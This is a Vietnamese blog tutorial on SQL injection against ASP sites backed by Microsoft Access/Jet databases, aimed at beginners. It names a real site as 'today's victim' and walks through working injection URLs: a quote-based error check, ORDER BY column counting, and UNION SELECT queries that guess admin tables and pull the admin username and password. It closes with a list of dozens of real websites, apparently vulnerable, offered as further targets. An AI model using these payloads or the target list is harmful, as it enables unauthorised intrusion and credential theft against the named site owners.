J2TEAM Security: A must-have extension for Chrome users. Install now!

[TUT] Lỗi Jet Database Cho Newbie

Đây là dạng lỗi SQL mà khai thác dễ nhất nhưng đòi hỏi có 1 chút kinh nghiệm trong quá trình khái thác vì phải đoán table và column

Victim hôm nay là:
http://thanhancamera.com/news.asp?tin_ID=86

Bước 1: Check lỗi


Thêm dấu’ vào cuối đường link url, nếu site dính lỗi sẽ xuất hiện thông báo như sau:
http://thanhancamera.com/news.asp?tin_ID=86’


Quote:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'tin_ID=86 ''.

/news.asp, line 16
Bước 2: Tìm số trường cột


http://thanhancamera.com/news.asp?tin_ID=86 order by 1 -> Site bình thường
http://thanhancamera.com/news.asp?tin_ID=86 order by 6 -> Site bình thường
http://thanhancamera.com/news.asp?tin_ID=86 order by 7 -> Xuất hiện lỗi

Quote:
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine does not recognize '7' as a valid field name or expression.

/news.asp, line 16



Số cột cần tìm là 6



Bước 3: Đoán tên table

Một số tables chứa thông tin admin và password như:

tb_admin, tbl_admin, tbl_user, tbl_users, tbluser, user, admin, …..

Ở dạng này theo kinh nghiệm khai thác thì table_name phổ biến nhất vẫn là tb_admin,.... tóm lại phải biến hóa trong tìm kiếm
Nếu site hoạt động bình thường và xuất hiện nhưng con số, chứng tỏ table được đoán là chính xác. Những con số được xuất hiện chính là vị trí table bị lỗi. Chúng ta có thể khai thác bằng cách chèn các mã lệnh tại vị trí đó.
Còn không site sẽ xuất hiện lỗi như sau:

Quote:
Microsoft OLE DB Provider for ODBC Drivers error '80040e37'
[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query 'tbl_user'. Make sure it exists and that its name is spelled correctly.
/news.asp, line 16

http://thanhancamera.com/news.asp?tin_ID=-86 UNION SELECT 1,2,3,4,5,6 from tb_admin




Trong trường hợp này các tables ở vị trí 1,2,3,4 bị lỗi. Chúng ta có thể khai thác tại những vị trí đó.thử sẽ check ở vị trí thứ 2 và 3

Bước 4: Đoán tên column

Một số columns chứa thông tin admin và password như:
Username-password, uid-pwd….
Ở dạng này phổ biến nhất vẫn là : username,password


http://thanhancamera.com/news.asp?tin_ID=-86 UNION SELECT 1,2,username,password,5,6 from tb_admin


This image has been resized.Click to view original image







Nếu xuất hiện thông tin tại vị trí được khai thác như trên, chứng tỏ column được đoán là chính xác

Username: nothing , password: hacked
có vẻ admin thích bị hack

Bước 5: Tìm đường link loggin admin

Một số tool sử dụng để tìm link admin như: havij, admin finder, web admin finder.
mình thì cứ bằng tay để đoán dựa vào kinh nghiệm:

http://thanhancamera.com/login.asp


chúng ta có thể tìm được các site dính lỗ hổng Jet và khai thác tương tư:

Quote:
http://www.gimec.com.vn/news.asp?tin_ID=114’
http://www.mailan.com.vn/news.asp?tin_ID=57
http://thanhancamera.com/news.asp?tin_ID=86
www.caosuqtri.com.vn/news.asp?tin_ID=70
http://www.indochinaclassic.com/tintuc.asp?id=181’
http://gimec.com.vn/news.asp?tin_ID=75
http://www.ecma.ca/news.asp?id=191
http://www.mailan.com.vn/news.asp?tin_ID=53’
http://www.qhcc.ttuni.edu.vn/news.asp?tin_ID=15’
http://www.soldtbxhbinhdinh.vn/Detai...?Tin_ID=208%27
http://www.viethand.com.vn/news.asp?tin_ID=605%27
http://www.shopchiem.com/news.asp?tin_ID=139%27
http://thanhancamera.com/news.asp?tin_ID=104%27
http://gimec.com.vn/news.asp?tin_ID=73%27
http://www.donoithat.com.vn/news.asp?tin_ID=23
http://www.mailan.com.vn/news.asp?tin_ID=52%27
http://vinhthinhco.com/news.asp?tin_ID=105%27
http://chausonren.somee.com/tintuc.asp?tin_ID=37%27
http://www.soldtbxhbinhdinh.vn/Detai...?Tin_ID=198%27
http://www.vinabatech.com/vietnam/news.asp?tin_ID=68%27
http://www.inhagia.com/news.asp?tin_ID=58%27
http://in-hagia.com/news.asp?tin_ID=60%27
http://trunghocthuysan.edu.vn/news.asp?tin_ID=84%27
http://www.dqjewellery.vn/tuyendung.asp?tin_ID=65%27
http://www.viethand.com.vn/news.asp?tin_ID=425%27
http://lythanh.net/news.asp?tin_ID=41%27
http://hoaphong.com.vn/tintuc.asp?tin_ID=14%27
http://www.namthai.vn/news.asp?tin_ID=89%27
http://nguyenbinhit.tk/news.asp?tin_ID=59%27
http://gimec.com.vn/news.asp?tin_ID=74%27
http://donoithat.com.vn/news.asp?tin_ID=9%27
http://ngockhang.com.vn/news.asp?tin_ID=174%27
http://vinhthinhco.com/news.asp?tin_ID=101%27
http://www.qhcc.ttuni.edu.vn/news.asp?tin_ID=14%27
http://viengiamdinhphapytamthantu.co...p?tin_ID=11%27
http://www.chausonren.somee.com/tintuc.asp?tin_ID=52%27
http://j.1asphost.com/tdssvn/tdss/news.asp?tin_ID=53%27
http://inhagia.com/news.asp?tin_ID=59%27
http://www.viethand.com.vn/news.asp?tin_ID=422%27
http://www.namthai.vn/news.asp?tin_ID=90%27
http://trunghocthuysan.edu.vn/news.asp?tin_ID=111%27
http://www.viethand.com.vn/news.asp?tin_ID=422%27
http://cntt.ttuni.edu.vn/news.asp?tin_ID=20%27
http://ngockhang.com.vn/tindt.asp?tin_ID=73%27
http://www.dqjewellery.vn/news.asp?tin_id=74%27
http://ngockhang.com.vn/news.asp?tin_ID=181%27
http://lythanh.net/news.asp?tin_ID=47%27
http://hoaphong.com.vn/tintuc.asp?tin_ID=15%27
http://viengiamdinhphapytamthantu.co...p?tin_ID=22%27
http://www.soldtbxhbinhdinh.vn/Detai...?Tin_ID=201%27
http://vinhthinhco.com/news.asp?tin_ID=102%27
http://shopchiem.com/news.asp?tin_ID=308%27
http://gimec.com.vn/news.asp?tin_ID=%27
http://minhduccomec.com.vn/vna/news.asp?tin_ID=34%27
http://www.inhagia.com/news.asp?tin_ID=57%27
http://cc.1asphost.com/nhom7/news.asp?tin_ID=56%27
http://thanhancamera.com/news.asp?tin_ID=94%27
http://ngockhang.com.vn/news.asp?tin_ID=176%27
http://viengiamdinhphapytamthantu.co...sp?tin_ID=9%27
http://shopchiem.com/news.asp?tin_ID=303%27
http://gimec.com.vn/news.asp?tin_ID=66%27
http://www.caosuqtri.com.vn/news.asp?tin_ID=70
http://www.mailan.com.vn/news.asp?tin_ID=57
http://thanhancamera.com/news.asp?tin_ID=86
http://www.viethand.com.vn/news.asp?tin_ID=605
http://chausonren.somee.com/tintuc.asp?tin_ID=37
Leader at J2TEAM. Website: https://j2team.dev/

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!